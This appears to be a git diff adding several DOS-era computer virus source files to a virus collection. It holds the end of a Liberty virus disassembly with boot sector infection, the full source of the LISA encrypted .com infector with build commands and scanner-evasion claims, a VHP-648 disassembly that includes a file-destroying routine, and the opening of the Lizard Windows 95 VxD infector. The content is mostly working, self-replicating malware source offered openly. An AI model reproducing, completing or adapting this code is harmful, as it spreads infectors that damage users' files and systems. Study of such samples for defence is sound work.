+CS:0871 2E CS: ; +CS:0872 FF1E1608 CALL FAR [0816] ; Write original bootsector +CS:0876 7296 JB 080E +CS:0878 B80103 MOV AX,0301 ; +CS:087B BB3506 MOV BX,0635 ; +CS:087E B90100 MOV CX,0001 ; +CS:0881 9C PUSHF ; +CS:0882 2E CS: ; +CS:0883 FF1E1608 CALL FAR [0816] ; Write Liberty bootsector +CS:0887 7285 JB 080E +CS:0889 B80803 MOV AX,0308 ; +CS:088C BB1001 MOV BX,0110 ; +CS:088F B93128 MOV CX,2831 ; +CS:0892 9C PUSHF ; +CS:0893 2E CS: ; +CS:0894 FF1E1608 CALL FAR [0816] ; Write Liberty bootsector +CS:0898 E973FF JMP 080E +CS:089B 9C PUSHF +CS:089C 50 PUSH AX +CS:089D 1E PUSH DS +CS:089E 33C0 XOR AX,AX +CS:08A0 8ED8 MOV DS,AX +CS:08A2 833E860000 CMP WORD PTR [0086],+00 ; +CS:08A7 750F JNZ 08B8 ; Check if DOS is installed +CS:08A9 833E840000 CMP WORD PTR [0084],+00 ; +CS:08AE 7508 JNZ 08B8 +CS:08B0 1F POP DS +CS:08B1 58 POP AX +CS:08B2 9D POPF +CS:08B3 EA00000000 JMP 0000:0000 +CS:08B8 06 PUSH ES +CS:08B9 0E PUSH CS +CS:08BA 07 POP ES +CS:08BB E8C3F9 CALL 0281 ; Get vector 21h +CS:08BE E8F1F9 CALL 02B2 ; Set vector 21h +CS:08C1 E82000 CALL 08E4 ; Disconnect vector 8h +CS:08C4 E8FBF9 CALL 02C2 ; Set installation flag +CS:08C7 07 POP ES +CS:08C8 EBE6 JMP 08B0 +; +; Revectoring +; +CS:08CA A12000 MOV AX,[0020] +CS:08CD 2E CS: +CS:08CE A3B408 MOV [08B4],AX +CS:08D1 A12200 MOV AX,[0022] +CS:08D4 2E CS: +CS:08D5 A3B608 MOV [08B6],AX +CS:08D8 B89B08 MOV AX,089B +CS:08DB FA CLI +CS:08DC A32000 MOV [0020],AX +CS:08DF 8C0E2200 MOV [0022],CS +CS:08E3 C3 RET +CS:08E4 33C0 XOR AX,AX +CS:08E6 8ED8 MOV DS,AX +CS:08E8 FA CLI +CS:08E9 2E CS: +CS:08EA A1B408 MOV AX,[08B4] +CS:08ED A32000 MOV [0020],AX +CS:08F0 2E CS: +CS:08F1 A1B608 MOV AX,[08B6] +CS:08F4 A32200 MOV [0022],AX +CS:08F7 C3 RET +CS:08F8 A17000 MOV AX,[0070] +CS:08FB 2E CS: +CS:08FC A3900A MOV [0A90],AX +CS:08FF A17200 MOV AX,[0072] +CS:0902 2E CS: +CS:0903 A3920A MOV [0A92],AX +CS:0906 B8580A MOV AX,0A58 +CS:0909 FA CLI +CS:090A A37000 MOV [0070],AX +CS:090D 8C0E7200 MOV [0072],CS +CS:0911 C3 RET +; +; The next routine displays 'M A G I C ! !' on the screen for a second +; +CS:0912 50 PUSH AX +CS:0913 53 PUSH BX +CS:0914 51 PUSH CX +CS:0915 52 PUSH DX +CS:0916 56 PUSH SI +CS:0917 57 PUSH DI +CS:0918 1E PUSH DS +CS:0919 06 PUSH ES +CS:091A 9C PUSHF +CS:091B BB00B8 MOV BX,B800 ; +CS:091E 8EDB MOV DS,BX ; +CS:0920 0E PUSH CS ; +CS:0921 07 POP ES ; +CS:0922 33F6 XOR SI,SI ; +CS:0924 BF6809 MOV DI,0968 ; +CS:0927 B9A000 MOV CX,00A0 ; +CS:092A F3 REPZ ; +CS:092B A4 MOVSB ; Save screen +CS:092C BB00B8 MOV BX,B800 ; +CS:092F 8EC3 MOV ES,BX ; +CS:0931 0E PUSH CS ; +CS:0932 1F POP DS ; +CS:0933 33FF XOR DI,DI ; +CS:0935 BB080A MOV BX,0A08 ; +CS:0938 B95000 MOV CX,0050 ; +CS:093B B6CE MOV DH,CE ; +CS:093D 8A17 MOV DL,[BX] ; +CS:093F 80EA03 SUB DL,03 ; +CS:0942 26 ES: ; +CS:0943 8915 MOV [DI],DX ; +CS:0945 47 INC DI ; +CS:0946 47 INC DI ; +CS:0947 43 INC BX ; +CS:0948 E2F3 LOOP 093D ; Put text on screen +CS:094A E2FE LOOP 094A ; Wait +CS:094C BB00B8 MOV BX,B800 ; +CS:094F 8EC3 MOV ES,BX ; +CS:0951 0E PUSH CS ; +CS:0952 1F POP DS ; +CS:0953 33FF XOR DI,DI ; +CS:0955 BE6809 MOV SI,0968 ; +CS:0958 B9A000 MOV CX,00A0 ; +CS:095B F3 REPZ ; +CS:095C A4 MOVSB ; Restore screen +CS:095D 9D POPF +CS:095E 07 POP ES +CS:095F 1F POP DS +CS:0960 5F POP DI +CS:0961 5E POP SI +CS:0962 5A POP DX +CS:0963 59 POP CX +CS:0964 5B POP BX +CS:0965 58 POP AX +CS:0966 C3 RET +; +; A temporary screen buffer +; +DS:0960 4D 41 47 49 43 4D 41 47 +DS:0970 49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49 +DS:0980 43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43 +DS:0990 4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D +DS:09A0 41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41 +DS:09B0 47 49 43 4D 41 47 49 43-4D 41 47 49 43 4D 41 47 +DS:09C0 49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49 +DS:09D0 43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43 +DS:09E0 4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D +DS:09F0 41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41 +DS:0A00 47 49 43 4D 41 47 49 43 +; +; The encrypted text 'M A G I C ! !' +; +DS:0A00 23 23 23 23 23 23 23 23 +DS:0A10 23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23 +DS:0A20 23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23 +DS:0A30 23 23 23 23 23 23 23 23-23 23 50 23 44 23 4A 23 +DS:0A40 4C 23 46 23 23 24 23 24-23 24 23 23 23 23 23 23 +DS:0A50 23 23 23 23 23 23 23 23 +; +; The next routine is the timer routine. It activates all the gadgets. +; +CS:0A58 9C PUSHF +CS:0A59 50 PUSH AX +CS:0A5A 1E PUSH DS +CS:0A5B 2E CS: +CS:0A5C FF06940A INC WORD PTR [0A94] +CS:0A60 2E CS: +CS:0A61 833E960A0B CMP WORD PTR [0A96],+0B ; Time for a reboot ? +CS:0A66 7433 JZ 0A9B +CS:0A68 2E CS: +CS:0A69 A1980A MOV AX,[0A98] +CS:0A6C 2E CS: +CS:0A6D 3906940A CMP [0A94],AX ; Time for gadgets on ? +CS:0A71 7430 JZ 0AA3 +CS:0A73 7217 JB 0A8C +CS:0A75 050002 ADD AX,0200 +CS:0A78 2E CS: +CS:0A79 3906940A CMP [0A94],AX ; Time for gadgets off ? +CS:0A7D 7446 JZ 0AC5 +CS:0A7F 770B JA 0A8C +CS:0A81 2E CS: +CS:0A82 833E960A0A CMP WORD PTR [0A96],+0A ; Time for screen messing ? +CS:0A87 7503 JNZ 0A8C +CS:0A89 E886FE CALL 0912 ; Mess up screen +CS:0A8C 1F POP DS +CS:0A8D 58 POP AX +CS:0A8E 9D POPF +CS:0A8F EA00000000 JMP 0000:0000 ; Continue +CS:0A9B B8FFFF MOV AX,FFFF +CS:0A9E 50 PUSH AX +CS:0A9F 33C0 XOR AX,AX +CS:0AA1 50 PUSH AX +CS:0AA2 CB RETF +CS:0AA3 2E CS: +CS:0AA4 812E980A5001 SUB WORD PTR [0A98],0150 +CS:0AAA 33C0 XOR AX,AX +CS:0AAC 8ED8 MOV DS,AX +CS:0AAE 2E CS: +CS:0AAF C606470B00 MOV BYTE PTR [0B47],00 +CS:0AB4 90 NOP +CS:0AB5 2E CS: +CS:0AB6 C606950B00 MOV BYTE PTR [0B95],00 +CS:0ABB 90 NOP +CS:0ABC 2E CS: +CS:0ABD C606080C00 MOV BYTE PTR [0C08],00 +CS:0AC2 90 NOP +CS:0AC3 EBC7 JMP 0A8C +CS:0AC5 2E CS: +CS:0AC6 C606470BFF MOV BYTE PTR [0B47],FF +CS:0ACB 90 NOP +CS:0ACC 2E CS: +CS:0ACD C606950BFF MOV BYTE PTR [0B95],FF +CS:0AD2 90 NOP +CS:0AD3 2E CS: +CS:0AD4 C606080CFF MOV BYTE PTR [0C08],FF +CS:0AD9 90 NOP +CS:0ADA 2E CS: +CS:0ADB C706940A0000 MOV WORD PTR [0A94],0000 +CS:0AE1 2E CS: +CS:0AE2 FF06960A INC WORD PTR [0A96] +CS:0AE6 EBA4 JMP 0A8C +CS:0AE8 A14000 MOV AX,[0040] +CS:0AEB 2E CS: +CS:0AEC A3430B MOV [0B43],AX +CS:0AEF A14200 MOV AX,[0042] +CS:0AF2 2E CS: +CS:0AF3 A3450B MOV [0B45],AX +CS:0AF6 B8360B MOV AX,0B36 +CS:0AF9 FA CLI +CS:0AFA A34000 MOV [0040],AX +CS:0AFD 8C0E4200 MOV [0042],CS +CS:0B01 C3 RET +CS:0B02 FA CLI +CS:0B03 A15000 MOV AX,[0050] +CS:0B06 2E CS: +CS:0B07 A3910B MOV [0B91],AX +CS:0B0A A15200 MOV AX,[0052] +CS:0B0D 2E CS: +CS:0B0E A3930B MOV [0B93],AX +CS:0B11 B8840B MOV AX,0B84 +CS:0B14 A35000 MOV [0050],AX +CS:0B17 8C0E5200 MOV [0052],CS +CS:0B1B C3 RET +CS:0B1C FA CLI +CS:0B1D A15C00 MOV AX,[005C] +CS:0B20 2E CS: +CS:0B21 A3040C MOV [0C04],AX +CS:0B24 A15E00 MOV AX,[005E] +CS:0B27 2E CS: +CS:0B28 A3060C MOV [0C06],AX +CS:0B2B B8FC0B MOV AX,0BFC +CS:0B2E A35C00 MOV [005C],AX +CS:0B31 8C0E5E00 MOV [005E],CS +CS:0B35 C3 RET +; +; Now the gadgets' routines. When activated, only the word MAGIC!! will be +; sent to screen, port, and printer. +; +CS:0B36 9C PUSHF ; Screen +CS:0B37 80FC09 CMP AH,09 +CS:0B3A 740F JZ 0B4B +CS:0B3C 80FC0A CMP AH,0A +CS:0B3F 740A JZ 0B4B +CS:0B41 9D POPF +CS:0B42 EA00000000 JMP 0000:0000 +CS:0B4B 2E CS: +CS:0B4C 803E470BFF CMP BYTE PTR [0B47],FF +CS:0B51 74EE JZ 0B41 +CS:0B53 53 PUSH BX +CS:0B54 56 PUSH SI +CS:0B55 50 PUSH AX +CS:0B56 33DB XOR BX,BX +CS:0B58 2E CS: +CS:0B59 833E480B07 CMP WORD PTR [0B48],+07 +CS:0B5E 7507 JNZ 0B67 +CS:0B60 2E CS: +CS:0B61 C706480B0000 MOV WORD PTR [0B48],0000 +CS:0B67 2E CS: +CS:0B68 8B1E480B MOV BX,[0B48] +CS:0B6C 2E CS: +CS:0B6D 8B3E480B MOV DI,[0B48] +CS:0B71 47 INC DI +CS:0B72 2E CS: +CS:0B73 893E480B MOV [0B48],DI +CS:0B77 BE3B0C MOV SI,0C3B +CS:0B7A 58 POP AX +CS:0B7B 2E CS: +CS:0B7C 8A00 MOV AL,[BX+SI] +CS:0B7E FEC0 INC AL +CS:0B80 5E POP SI +CS:0B81 5B POP BX +CS:0B82 EBBD JMP 0B41 +CS:0B84 9C PUSHF ; Port +CS:0B85 80FC01 CMP AH,01 +CS:0B88 740D JZ 0B97 +CS:0B8A 80FC02 CMP AH,02 +CS:0B8D 7436 JZ 0BC5 +CS:0B8F 9D POPF +CS:0B90 EA00000000 JMP 0000:0000 +CS:0B97 2E CS: +CS:0B98 803E950BFF CMP BYTE PTR [0B95],FF +CS:0B9D 74F0 JZ 0B8F +CS:0B9F 53 PUSH BX +CS:0BA0 56 PUSH SI +CS:0BA1 33DB XOR BX,BX +CS:0BA3 2E CS: +CS:0BA4 8A1E960B MOV BL,[0B96] +CS:0BA8 BE3B0C MOV SI,0C3B +CS:0BAB 2E CS: +CS:0BAC 8A00 MOV AL,[BX+SI] +CS:0BAE 2E CS: +CS:0BAF FE06960B INC BYTE PTR [0B96] +CS:0BB3 2E CS: +CS:0BB4 803E960B07 CMP BYTE PTR [0B96],07 +CS:0BB9 7506 JNZ 0BC1 +CS:0BBB 2E CS: +CS:0BBC C606960B00 MOV BYTE PTR [0B96],00 +CS:0BC1 5E POP SI +CS:0BC2 5B POP BX +CS:0BC3 EBCA JMP 0B8F +CS:0BC5 2E CS: +CS:0BC6 803E950BFF CMP BYTE PTR [0B95],FF +CS:0BCB 74C2 JZ 0B8F +CS:0BCD 2E CS: +CS:0BCE FF1E910B CALL FAR [0B91] +CS:0BD2 80FC00 CMP AH,00 +CS:0BD5 7F24 JG 0BFB +CS:0BD7 53 PUSH BX +CS:0BD8 56 PUSH SI +CS:0BD9 33DB XOR BX,BX +CS:0BDB 2E CS: +CS:0BDC 8A1E960B MOV BL,[0B96] +CS:0BE0 BE3B0C MOV SI,0C3B +CS:0BE3 2E CS: +CS:0BE4 8A00 MOV AL,[BX+SI] +CS:0BE6 2E CS: +CS:0BE7 FE06960B INC BYTE PTR [0B96] +CS:0BEB 2E CS: +CS:0BEC 803E960B07 CMP BYTE PTR [0B96],07 +CS:0BF1 7506 JNZ 0BF9 +CS:0BF3 2E CS: +CS:0BF4 C606960B00 MOV BYTE PTR [0B96],00 +CS:0BF9 5E POP SI +CS:0BFA 5B POP BX +CS:0BFB CF IRET +CS:0BFC 9C PUSHF ; Printer +CS:0BFD 80FC00 CMP AH,00 +CS:0C00 7407 JZ 0C09 +CS:0C02 9D POPF +CS:0C03 EA00000000 JMP 0000:0000 +CS:0C09 2E CS: +CS:0C0A 803E080CFF CMP BYTE PTR [0C08],FF +CS:0C0F 74F1 JZ 0C02 +CS:0C11 53 PUSH BX +CS:0C12 56 PUSH SI +CS:0C13 33DB XOR BX,BX +CS:0C15 2E CS: +CS:0C16 8A1E3A0C MOV BL,[0C3A] +CS:0C1A BE3B0C MOV SI,0C3B +CS:0C1D 2E CS: +CS:0C1E 8A00 MOV AL,[BX+SI] +CS:0C20 FEC0 INC AL +CS:0C22 2E CS: +CS:0C23 FE063A0C INC BYTE PTR [0C3A] +CS:0C27 2E CS: +CS:0C28 803E3A0C07 CMP BYTE PTR [0C3A],07 +CS:0C2D 7507 JNZ 0C36 +CS:0C2F 2E CS: +CS:0C30 C6063A0C00 MOV BYTE PTR [0C3A],00 +CS:0C35 90 NOP +CS:0C36 5E POP SI +CS:0C37 5B POP BX +CS:0C38 EBC8 JMP 0C02 +; +; The encrypted text 'MAGIC!!' +; +DS:0C3A 4C 40 46 48 42 20 20 +; +; Important note: +; When there is no longer space on the disk to infect a file, the Liberty +; virus will infect the bootsector. This is done in the 'OHIO' way. +; +; +; +; End of Liberty (2867) disassembly. (c) 1991 by Remco van Helvoort. +; This document may be freely shared. If you have any comments or some +; nice little viruses for analysis, feel free to drop me a note. +; +; Remco van Helvoort +; Bredastraat 3 +; 5224 VD 's-Hertogenbosch +; Holland +; + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/l/LISA.ASM b/l/LISA.ASM new file mode 100755 index 0000000..274b4c1 --- /dev/null +++ b/l/LISA.ASM @@ -0,0 +1,192 @@ +; Virusname: LISA +; Origin: Sweden +; Author: Metal Militia +; Date: 24/12/1994 +; +; This virus can't be found with any anti-virus program (of the below +; that is) SCAN/TB-SCAN/F-PROT/SOLOMON. This because of that it's totally +; new written. +; +; It's a non-resident, encrypted, .com infector that spread with the +; "dot-dot" method. No damage is made, and no message is shown, but +; inside the code you can find some love greetings to the flower in +; my heart, Lisa Olsson. This was written on the christmas eve, as a +; 'happy new year' greeting to her, then especially for '94, but +; also for all other coming years. +; +; I may continue on thisone and make more and better versions. +; PS!, to tasm this virus, write: tasm /m3 lisa.asm, then just +; link it to a .com file by writing: tlink /t lisa.obj. + + + Lisavirus segment + Assume CS:LisaVirus + Org 100h ; account for PSP + + Start: db 0e9h ; jmp duh ; Jump to duh + dw 0 + + duh: call next + next: pop bp ; bp holds current location + sub bp, offset next ; calculate net change + jmp go_for_it + + go_for_it: + call encrypt_decrypt ; encrypt/decrypt it.. + + jmp restore ; jump to the real "start". + +write_virus: + mov word ptr [bp+crypt_val],30h ; Here we use the enc_value + call encrypt_decrypt ; call encrypt/decrypt + mov cx, eov - duh ; Write the virus + lea dx, [bp+duh] + mov ah, 40h + int 21h + call encrypt_decrypt ; call encrypt/decrypt (again, just like the text says) + ret ; ret(urn) to the "caller" + +crypt_val dw 0 ; encryption value + +encrypt_decrypt: + mov ax,word ptr [bp+crypt_val] ; the encrypt/decrypt rountine + lea si,[bp+encrypt_start] + mov cx,(eov-duh+1)/2 +again: + xor word ptr [si],ax ; XOR's kicking it :) + inc si + inc si + loop again ; loop it all + ret ; ret(urn) to caller + +encrypt_start: ; start of encryption +restore: + lea si, [bp+offset stuff] ; Restore the beginning + mov di, 100h ; (see stuff, the buffer) + push di + movsw + movsb + + lea dx, [bp+offset dta] ; Set the DTA + call set_dta + + mov ah,47h ; Get the current directory (will be restored lateron) + xor dl,dl + lea si,[bp+eov+2ch] + int 21h + + findfirst: + mov ah, 4eh ; Find first + lea dx, [bp+masker] ; search for '*.COM',0 + tryanother: + int 21h + jc chdir ; Quit on error + + mov ax, 3D02h ; Open the file + lea dx, [bp+offset dta+30] ; File name is located in DTA + int 21h + xchg ax, bx ; instead on mov bx,ax.. one byte saved :) + + mov ax,5700h ; Take the file's time + int 21h + + push cx + push dx + + mov cx, 3 ; Read in the first three bytes + lea dx, [bp+stuff] + mov ah, 3fh + int 21h + ; Check if already infected + mov cx, word ptr [bp+stuff+1] ; jmp location + mov ax, word ptr [bp+dta+26] + add cx, eov - duh + 3 ; convert to filesize + cmp ax, cx ; if same, already infected + jz close ; so quit out of here + + sub ax, 3 ; ax = filesize - 3 + mov word ptr [bp+writebuffer], ax + + xor al, al ; Go to the beginning + call f_ptr + + mov cx, 3 ; Write three bytes + lea dx, [bp+e9] + mov ah, 40h + int 21h + + mov al, 2 ; Go to the end + call f_ptr + + mov ah,2ch + int 21h + + mov word ptr [bp+crypt_val],dx + + call write_virus + + close: + pop dx + pop cx + + mov ax,5701h ; Restore the files time + int 21h + + mov ah, 3eh ; Close the file + int 21h + + ; Try infecting another file + mov ah, 4fh ; Find next, try to infect + jmp short tryanother ; another file. + + chdir: + mov ah,3bh ; Change up one dir + lea dx,[bp+offset newdir] + int 21h + jc quit + + jmp findfirst + + quit: + real_quit: + lea dx,[bp+eov+2ch] ; Restore the DIR + mov ah,3bh + int 21h + + fix_it: + mov dx, 80h ; Restore the DTA to the + ; default + set_dta: + mov ah, 1ah ; Set the disk transfer + int 21h ; address + + exit: + retn ; Return to org. program + f_ptr: mov ah, 42h + xor cx, cx + cwd ; equal to xor dx,dx or the + int 21h ; other style, sub dx,dx + retn + + db 'love.girl.LISA.forever.666 ' ; + db '(c) Metal Militia / Immortal Riot ' + db 'Sweden 24/12/93 ' ; the Date of finish, christmas eve + db 'Thunderclouds pass the sky, dreams & thoughts ' + db 'goes thrue my mind.. winds of love, floods of ' + db "hope, until the day, when you'll be mine!.... " + db 'Dedicated to Lisa Olsson who will always be my passion ' + db 'my obsession and my infinite dream. All i ever wanted, ' + db 'all i ever asked for. Happy new year, yours Metal..... ' + + newdir db '..',0 ; needed to move up one dir (dot-dot method) + masker db '*.com',0 ; filetype to infect, .com-files + greets db 'Greets to Raver and The Unforgiven/IR' ; greets to my + ; friends + stuff db 0cdh, 20h, 0 ; original three bytes saved here + e9 db 0e9h ; the jmp + eov equ $ ; end of virus/encryption + writebuffer dw ? ; Scratch area for the JMP + ; offset holding. + dta db 42 dup (?) ; the DTA thingy (42 dup) + LisaVirus ENDS + END Start \ No newline at end of file diff --git a/l/LISBON2.ASM b/l/LISBON2.ASM new file mode 100755 index 0000000..59911d2 --- /dev/null +++ b/l/LISBON2.ASM @@ -0,0 +1,331 @@ + name Virus + title Disassembly listing of the VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + +message db 'Hello, world!$' + + mov ah,9 + mov dx,offset message + int 21 + int 20 + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov word ptr [si+0],bx ;dtaadr + mov word ptr [si+2],es + pop es ;Restore ES + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + mov di,0 +n_00015A: ;Search 'PATH=' in the environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+16],di ;Save 'PATH' offset in poffs + mov di,si + add di,fname-data ;Point SI & DI at '=' sign + mov bx,si ;Point BX at data area + add si,fname-data + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+16],6C ;poffs + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+16] ;poffs + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + mov si,0 +n_0001B0: + pop bx + pop ds + mov [bx+16],si ;poffs + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+18],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cx,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cx,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+75] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + cmp [si+79],64000d ;Is file size greather than 64,000 bytes? + ja findnext ;If so, search for next file + cmp word ptr [si+79],10d ;Is file size less than 10 bytes? + jb findnext ;If so, search for next file + + mov di,[si+18] ;eqoffs + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+8],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + +;The next `db's are there because MASM can't assemble +; the instruction `and cx,0FFFE' correctly (the fool!): + + db 081,0E1,0FE,0FF +; and cx,not 1 ;Turn off Read Only flag + mov dx,fname-data + add dx,si + int 21 + + mov ax,3D02 ;Open file with Read/Write access + mov dx,fname-data + add dx,si + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+4],cx ;Save time in ftime + mov [si+6],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + +;If so, destroy file (don't contaminate). Now this code is disabled. + + jmp short n_000266 ;CHANGED. Was jnz here + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + mov cx,0 ;0 bytes from end + mov dx,0 + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer + sub ax,3 ;Subtract 3 from it to get real code size + mov [si+14d],ax ;Save result in filloc + add cx,data-(virus-100) + mov di,si + sub di,data-modify ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,enddata-virus ;Virus code length as bytes to be written + mov dx,si + sub dx,data-virus ;Now DX points at virus label + int 21 + jc oldtime ;Exit on error + cmp ax,enddata-virus ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + mov cx,0 ;Just at the file beginning + mov dx,0 + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cx,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+6] ;Restore file date + mov cx,[si+4] ; and time + +;And these again are due to the MASM 5.0 foolness: + + db 081,0E1,0E0,0FF + db 081,0C9,01F,000 +; and cx,not 11111b +; or cx,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+8] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+0] ;Restore saved DTA + mov ds,[si+2] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 0EBh,0Fh,90 ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +filloc dw ? ;File pointer is saved here +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file: + +bad_jmp db 0EA,0Bh,2,13,58 +enddata label byte + +code ends + end start + \ No newline at end of file diff --git a/l/LIZARD.ASM b/l/LIZARD.ASM new file mode 100755 index 0000000..58ad8ee --- /dev/null +++ b/l/LIZARD.ASM @@ -0,0 +1,626 @@ +;----------------------------------------------------------------------------- +;Lizard by Reptile/29A (another version ;) +;----------------------------------------------------------------------------- + +; +; +; +; +; + +;This is an encrypted vxd direct action dos exe infector (I added some anti- +;heuristics and other stuff and optimized the code of v1.0). + +;When an infected file is run the virus decrypts itself, drops lzd.vxd to the +;available one of the three dirs and then returns back to the host. After the +;next reboot... + +;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz +;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini +;or the registry). Then the virus takes control and hooks the V86 interrupt +;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh) +;and on find first file (4eh) using direct action techniques to infect all +;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size +;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!) +;bytes. + +;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't +;detect it (all for win95). + +;Compiling lzd.vxd (win95 DDK): +;makefile + +;Compiling rmlzd.inc: +;tasm /m2 rmlzd.asm +;tlink /t rmlzd.obj +;file2db rmlzd.com (or another db generator) +;modify rmlzd.dat + +;To install copy lzd.vxd to one of the following dirs: +;- c:\windows\system\iosubsys +;- c:\win95\system\iosubsys +;- c:\windows.000\system\iosubsys +;...or start lizard.exe :) + +;P.S.: +;Sandy: are u lucky now? ;) +;Jacky: thanx for testing it! +;GriYo: the stack stuff really didn't work :P + +;P.P.S: +;TrY MaGiC MuShRoOmS... + +;---[LZD.ASM]----------------------------------------------------------------- + +.386p + +.xlist +include vmm.inc +.list + +vxdhsize equ 701 +vxddsize equ 81 +vxdcsize equ 880 +esize equ encend - encstart +vsize equ vend - start + +Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \ +Undefined_Init_Order,, + +VxD_Locked_Data_Seg +wcard db '*.e?e',0 ;*.l?z +include rmlzd.inc ;realmode code +dflag db 0 +pflag db 0 +ndta db 43 dup (?) +header db 26 dup (?) +VxD_Locked_Data_Ends +;----------------------------------------------------------------------------- +VxD_Locked_Code_Seg +BeginProc LZD_Device_Init +;trigger +mov ah,2ah ;get date +vxdint 21h +;live drazil si +cmp dh,10 ;26.10.? +jne npload +cmp dl,26 +jne npload + +mov pflag,1 ;hehe + +npload: +mov eax,21h ;install int 21h handler +mov esi,offset32 int21h +VMMcall Hook_V86_Int_Chain +clc +ret +EndProc LZD_Device_Init 